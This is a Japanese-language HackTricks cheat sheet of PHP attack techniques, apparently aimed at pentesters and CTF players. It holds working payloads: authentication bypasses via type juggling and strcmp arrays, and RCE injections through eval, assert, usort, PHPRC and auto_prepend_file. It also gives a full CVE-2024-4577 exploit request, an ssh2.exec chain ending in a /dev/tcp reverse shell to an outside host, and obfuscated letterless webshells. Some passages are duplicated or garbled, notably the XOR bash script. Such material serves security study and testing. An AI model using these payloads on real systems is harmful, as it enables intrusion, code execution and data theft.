PHP トリック
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Cookies の一般的な場所:
これは phpMyAdmin の cookies に対しても有効です。
Cookies:
PHPSESSID
phpMyAdmin
場所:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
PHP 比較のバイパス
Loose comparisons/Type Juggling ( == )
If == is used in PHP, then there are unexpected cases where the comparison doesn’t behave as expected. This is because “==” only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===.
PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php
.png)
"string" == 0 -> True数字で始まらない文字列は数値と等しいとみなされる"0xAAAA" == "43690" -> True10進または16進形式の数字で構成された文字列は、数値が同じであれば他の数値/文字列と比較してTrueになる(文字列内の数字は数値として解釈される)"0e3264578" == 0 --> True「0e」で始まりその後に何か続く文字列は0と等しい"0X3264578" == 0X --> True「0」に続いて任意の文字(Xは任意の文字)およびその後に何かが続く文字列は0と等しい"0e12334" == "0" --> Trueこれは非常に興味深いです。なぜなら、ある場合には「0」の文字列入力と、ハッシュ化されてそれと比較されるコンテンツを制御できることがあるからです。したがって、ハッシュが「0e」で始まりかつ文字を含まない値を提供できれば、比較をバイパスできます。こうした形式の既にハッシュされた文字列は次で見つかります: https://github.com/spaze/hashes"X" == 0 --> True文字列内の任意の文字は整数0と等しい
More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling also affects to the in_array() function by default (you need to set to true the third argument to make an strict comparison):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
この関数が any authentication check(たとえば password を確認するような場面)に使用され、かつユーザーが比較の片方を制御できる場合、ユーザーは password の値として文字列の代わりに空の配列を送信(https://example.com/login.php/?username=admin&password[]=)してこのチェックを回避できます:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
同じエラーは strcasecmp() でも発生します
Strict type Juggling
たとえ === が 使用されている 場合でも、比較が type juggling に脆弱になる エラーが発生することがあります。例えば、比較が 比較の前にデータを別の型のオブジェクトに変換している 場合:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match() は ユーザー入力を検証するために使われることがあり(blacklist 内の任意の word/regex が ユーザー入力 に 存在するかを チェック し、存在しなければコードの実行を続けます)。
New line bypass
しかし、regexppreg_match() は ユーザー入力の最初の行のみをチェックするため、もし何らかの方法で入力を 複数行 に分けて 送信 できれば、このチェックをバイパスできる可能性があります。例:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
このチェックを回避するには、改行を URL エンコードした値を送信する (%0A) または JSON data を送信できる場合は、複数行 にして送信してください:
{
"cmd": "cat /etc/passwd"
}
例はこちら: https://ramadistra.dev/fbctf-2019-rceservice
Length error bypass
(この bypass はおそらく PHP 5.2.5 で試されたもので、PHP 7.3.15 では動作させることができませんでした)\
もし preg_match() に対して有効な非常に 大きな入力 を送ることができれば、preg_match() はそれを 処理できなくなり、チェックを bypass できます。例えば、JSON をブラックリストにしている場合、次のようなものを送ることができます:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
.png)
要するに、この問題はPHPのpreg_*関数が PCRE library に基づいているために発生します。PCREでは特定の正規表現が多数の再帰呼び出しを用いてマッチングされ、それが大量のスタック領域を消費します。再帰回数に制限を設定することは可能ですが、PHPではこの制限が defaults to 100.000 に設定されており、スタックに収まる量を超えています。
This Stackoverflow thread も投稿でリンクされ、この問題についてより詳しく説明されています。私たちの課題はこう明確になりました:\
正規表現に100_000以上の再帰を発生させてSIGSEGVを引き起こし、preg_match()がfalseを返すようにしてアプリケーションに入力が悪意のないものだと誤認させ、ペイロードの末尾で {system(<verybadcommand>)} のようなサプライズを投げて SSTI –> RCE –> flag :).
厳密には、regex用語では実際に100kの「再帰」を起こしているわけではなく、代わりに「バックトラッキングステップ」をカウントしており、PHP documentation によれば pcre.backtrack_limit 変数はデフォルトで1_000_000 (1M) に設定されています。
それに到達するには、'X'*500_001 が1,000,000のバックトラッキングステップ(前方向500k、後方向500k)になります:
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Jugglingによる PHP obfuscation
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
PHPが別のページにリダイレクトしているが、dieやexit関数がヘッダLocationを設定した後に呼ばれていない場合、PHPは実行を続けてデータをボディに追加します:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
確認:
その他のトリック
- register_globals: PHP < 4.1.1.1 または設定ミス時に register_globals が有効になっている(またはその挙動が模倣されている)ことがあります。これは、$_GET のようなグローバル変数に値がある場合(例: $_GET[“param”]=“1234”)、それを $param としてアクセスできることを意味します。したがって、HTTP パラメータを送ることで、コード内で使用される変数を上書きすることができます。
- 同一ドメインの PHPSESSION cookies は同じ場所に保存されるため、ドメイン内で 異なるパスで異なる cookies が使われている場合、あるパスが別のパスの cookie を参照してその値を設定するようにできます。
このように、両方のパスが同じ名前の変数にアクセスする場合、path1 のその変数の値を path2 に適用させることができます。すると path2 は path1 の変数を有効なものとして扱います(path2 側で対応する名前の cookie を付与することで)。 - マシンの usernames が分かっている場合、アドレス: /~<USERNAME> を確認して php ディレクトリが有効になっているか確認してください。
- PHP の設定で
register_argc_argv = Onになっている場合、スペースで区切られたクエリパラメータが CLI のようにarray_keys($_SERVER['argv'])を埋めるために使われます(CLI からの引数のように扱われます)。これは興味深い点で、もしその 設定がオフ の場合、Web から呼ばれたときに args 配列はポピュレートされないためNullになります。したがって、Web か CLI かをif (empty($_SERVER['argv'])) {のように判定しているページに対して、攻撃者が GET リクエストで?--configPath=/lalalaのようなパラメータ を送ると、CLI 実行だと誤判定されてそれらの引数を解析・使用される可能性があります。詳しくは オリジナルの解説 を参照してください。 - LFI and RCE using php wrappers
password_hash/password_verify
これらの関数は通常、PHP で パスワードからハッシュを生成する のと、ハッシュと比較してパスワードが正しいかを チェックする のに使われます。
サポートされるアルゴリズムは: PASSWORD_DEFAULT と PASSWORD_BCRYPT($2y$ で始まる)です。PASSWORD_DEFAULT は多くの場合 PASSWORD_BCRYPT と同じです。 現在、PASSWORD_BCRYPT には 入力が72バイトのサイズ制限 があります。そのため、このアルゴリズムで72バイトより大きいものをハッシュしようとすると、最初の72Bのみが使用されます:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusing PHP errors
Causing error after setting headers
From this twitter thread you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP is not going to be setting headers in the response.
Allowing to bypass for example CSP headers being set in codes like:
HTTP headers bypass abusing PHP errors
ヘッダを設定した後にエラーを発生させる
this twitter thread から、1000 を超える GET パラメータ、または 1000 を超える POST パラメータ、あるいは 20 個のファイルを送信すると、PHOP はレスポンスにヘッダを設定しなくなることがわかります。
これにより、例えば以下のようなコードで設定された CSP ヘッダをバイパスできます:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
ヘッダを設定する前にボディを埋める
もし PHP ページがエラーを出力し、ユーザが提供した入力をエコーしている 場合、ユーザは PHP サーバに十分に 長い内容 を出力させることができ、サーバがレスポンスに ヘッダを追加しようとしたとき にエラーを投げます。
下のシナリオでは 攻撃者がサーバに大きなエラーを発生させ、画面でわかるように php が ヘッダ情報を変更しようとしたができなかった(たとえば CSP ヘッダがユーザへ送信されなかった):
.png)
SSRF in PHP functions
該当ページを確認してください:
ssh2.exec stream wrapper RCE
ssh2 extension がインストールされている(ssh2.so が /etc/php*/mods-available/ に見える、php -m、あるいは FTP アクセス可能な php8.1_conf/ ディレクトリなど)、PHP は ssh2.* ラッパーを登録します。これらはユーザ入力が fopen()/file_get_contents() のターゲットへ連結される箇所で悪用できます。管理者専用のダウンロードヘルパーの例:
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
localhost SSH 上でシェルコマンドを実行するのに十分です:
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
- 認証部分は任意の leaked system password(例: cracked bcrypt hashes から取得したもの)を再利用できます。
- 末尾の
#はサーバー側のサフィックス (files/<id>.zip) をコメントアウトするため、あなたのコマンドだけが実行されます。 - Blind RCE は、
tcpdump -ni tun0 icmpで egress を監視するか、HTTP canary を配信して確認します。
検証後は、コマンドを reverse shell payload に差し替えてください:
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
すべてが PHP ワーカー内で発生するため、TCP 接続はターゲットから発信され、注入されたアカウント(yuri、eric など)の権限を継承します。
コード実行
system(“ls”);ls;
shell_exec(“ls”);
Check this for more useful PHP functions
RCE による preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
“replace” 引数内のコードを実行するには、少なくとも1つのマッチが必要です。
preg_replace のこのオプションは PHP 5.5.0 以降で非推奨となっています。
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
この php の関数は、文字列として書かれたコードを実行して、true または false を返すこと(それに応じて実行を変更すること)を可能にします。通常、ユーザー変数は文字列の途中に挿入されます。例えば:assert("strpos($_GET['page']),'..') === false") –> この場合、RCE を得るには次のようにできます:
?page=a','NeVeR') === false and system('ls') and strpos('a
コードの構文を壊し、payloadを追加し、そして再度修正する必要があります。次のような論理演算を使用できます: “and” or “%26%26” or “|”。注意: “or”, “||” は動作しません。最初の条件が true の場合、payload が実行されないためです。同様に “;” も動作しません。payload が実行されないためです。
別のオプション は文字列にコマンドの実行を追加することです: '.highlight_file('.passwd').'
別のオプション(内部コードがある場合)は、実行を変更するために変数を変更することです: $file = "hola"
RCE via usort()
この関数は、特定の関数を使用して配列の項目をソートするために使用されます。
この関数を悪用するには:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
コードの残りをコメントするには // を使うこともできます。
閉じる必要のある括弧の数を見つけるには:
?order=id;}//: エラーメッセージが出る(Parse error: syntax error, unexpected ';')。おそらく1つ以上の括弧が不足しています。?order=id);}//: warning が出ます。これが正しそうです。?order=id));}//: エラーメッセージが出る(Parse error: syntax error, unexpected ')' i)。おそらく閉じ括弧が多すぎます。
.httaccess 経由の RCE
もし .htaccess を アップロード できるなら、いくつかの設定が可能になり、ファイル拡張子 .htaccess を 実行可能 に設定するなどしてコードを実行することさえできます。
様々な .htaccess シェルは here
環境変数経由の RCE
PHP の 環境変数を変更できる 脆弱性(およびファイルをアップロードできる別の脆弱性。追加の調査で回避できる場合もある)を見つけたら、この動作を悪用して RCE を得ることができます。
LD_PRELOAD: この環境変数は他のバイナリを実行する際に任意のライブラリを読み込ませることを可能にします(ただしこの場合は動作しないかもしれません)。PHPRC: PHP に設定ファイル(通常php.iniと呼ばれる)をどこで探すかを指示します。独自の設定ファイルをアップロードできるなら、PHPRCを使って PHP にそれを指し示してください。auto_prepend_fileエントリを追加し、2つ目にアップロードしたファイルを指定します。その2つ目のファイルには通常の PHP コードが含まれ、PHP ランタイムが他のコードより先に実行します。
- シェルコードを含む PHP ファイルをアップロードする
- 2つ目のファイルをアップロードし、
auto_prepend_fileディレクティブでステップ1でアップロードしたファイルを実行するよう指示する PHPRC変数をステップ2でアップロードしたファイルに設定する。
- このチェーンの実行方法の詳細は from the original report を参照してください。
- PHPRC - 別のオプション
- もしファイルを アップロードできない 場合、FreeBSD では
/dev/fd/0という “file” を利用できます。これはstdinを含んでおり、stdinに送られたリクエストの body です: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'- または RCE を得るために
allow_url_includeを有効にして、base64 エンコードされた PHP コード を prepend する: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'- 技術の詳細は from this report。
XAMPP CGI RCE - CVE-2024-4577
Web サーバーは HTTP リクエストを解析して PHP スクリプトに渡し、http://host/cgi.php?foo=bar のようなリクエストを php.exe cgi.php foo=bar として実行します。これによりパラメータ注入が可能になります。これを利用すると以下のパラメータを注入して、リクエストボディから PHP コードを読み込ませることができます:
-d allow_url_include=1 -d auto_prepend_file=php://input
さらに、PHPの後続の正規化により、0xAD文字を使って “-” パラメータを注入することが可能です。以下のエクスプロイト例はthis postを確認してください:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
In this post ここでは、非常に少ない文字しか許可されていない状況で、brain fuck PHPコードを生成するための優れたアイデアを見つけることができます。
さらに、いくつかのチェックを回避できるように関数を実行するための興味深い手法も提案されています:
(1)->{system($_GET[chr(97)])}
PHP 静的解析
これらの関数への呼び出しにコードを挿入できるか確認してください(出典: here):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
PHPアプリケーションをデバッグしている場合、/etc/php5/apache2/php.ini に display_errors = On を追加してエラーメッセージの表示をグローバルに有効にし、apache を再起動してください: sudo systemctl restart apache2
PHPコードの難読化解除
この web www.unphp.net を使って PHP コードの難読化を解除できます。
PHP Wrappers & Protocols
PHP Wrappers とプロトコルはシステムの書き込みおよび読み取り保護を回避し、侵害につながる可能性があります。For more information check this page.
Xdebug 認証不要の RCE
もし phpconfig() の出力で Xdebug が enabled になっているのを見たら、https://github.com/nqxcode/xdebug-exploit を使って RCE を試みてください。
可変変数
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusing new $_GET[“a”]($_GET[“b”])
ページ内で任意のクラスの新しいオブジェクトを作成することができる場合、RCE を取得できる可能性があります。方法を学ぶには次のページを確認してください:
Php Rce Abusing Object Creation New Usd Get A Usd Get B
文字を使わずに PHP を実行
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
8進数を使用
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR easy shell code
this writeup によると、以下のように簡単なshellcodeを生成することが可能です:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
したがって、execute arbitrary PHP without numbers and letters が可能であれば、以下のようなリクエストを送信して、そのpayloadを悪用し任意のPHPを実行できます:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
より詳しい説明はhttps://ctf-wiki.org/web/php/php/#preg_matchを参照してください。
XOR Shellcode (inside eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl風
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
参考資料
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

